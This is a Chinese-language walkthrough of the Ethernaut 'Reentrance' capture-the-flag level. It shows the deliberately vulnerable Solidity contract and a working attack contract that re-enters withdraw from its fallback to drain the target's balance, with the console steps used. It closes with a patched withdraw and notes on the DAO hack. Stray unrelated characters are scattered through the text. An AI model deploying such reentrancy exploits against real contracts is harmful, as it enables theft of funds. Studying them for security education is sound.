題目要求:
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
* Untrusted contracts can execute code where you least expect it.
* Fallback methods
* Throw/revert bubbling
* Sometimes the best way to attack a contract is with another contract.
* See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console"
項(xiàng)目源碼:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
題目解析:
又是一個(gè)先給錢再更新狀態(tài)的奇葩镐捧,只要碰到介種情況,盡管重入就是了
call
跟transfer
和send
還有不一樣的地方臭增,沒(méi)有限制gas
的數(shù)量懂酱,這也導(dǎo)致了對(duì)應(yīng)合約容易被構(gòu)造合約多次執(zhí)行。
控制臺(tái)執(zhí)行await getBalance(contract.address)
誊抛,可得結(jié)果:
'0.001'
控制臺(tái)執(zhí)行web3.utils.toWei(await getBalance(contract.address))
列牺,可得結(jié)果:
'1000000000000000'
項(xiàng)目合約在contract.address
:'0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803',等下合約代碼就是這啦
我的源碼:
pragma solidity ^0.8.7;
import 'openzeppelin-contracts/math/SafeMath.sol';
contract AttackReentrance {
address payable target;
address payable public owner;
uint amount = 1000000000000000 wei;
constructor() public payable {
target = payable(0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803);
owner = payable(msg.sender);
}
function donate1() public payable{
bool b;
(b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
require(b,"donate1 error");
}
function withdraw2() public payable {
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"withdraw2 error");
}
fallback () external payable{
bool b;
(b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
require(b,"fallback error");
}
function mywithdraw() external payable{
require(msg.sender==owner,'not you');
payable(msg.sender).transfer(address(this).balance);
}
}
記得在部署合約階段就給合約打0.001eth
拗窃,不然執(zhí)行失敗不要找我瞎领!
先運(yùn)行donate1
再運(yùn)行withdraw2
,就可以把合約的水一把抽干随夸!
控制臺(tái)執(zhí)行await getBalance(contract.address)
九默,可得結(jié)果:
'0'
如果有人寫了這種代碼怎么糾正:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;//這里先更新狀態(tài)再轉(zhuǎn)幣
(bool result,) = msg.sender.call{value:_amount}("");
if(!result) { // 防止合約失敗時(shí)被合約方吞幣
balances[msg.sender] += _amount;
}
}
}
作者后話:
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call
will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.
transfer
and send
are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.
Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.
Re-entrancy is a common attack. You should always be prepared for it!
The DAO Hack
The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.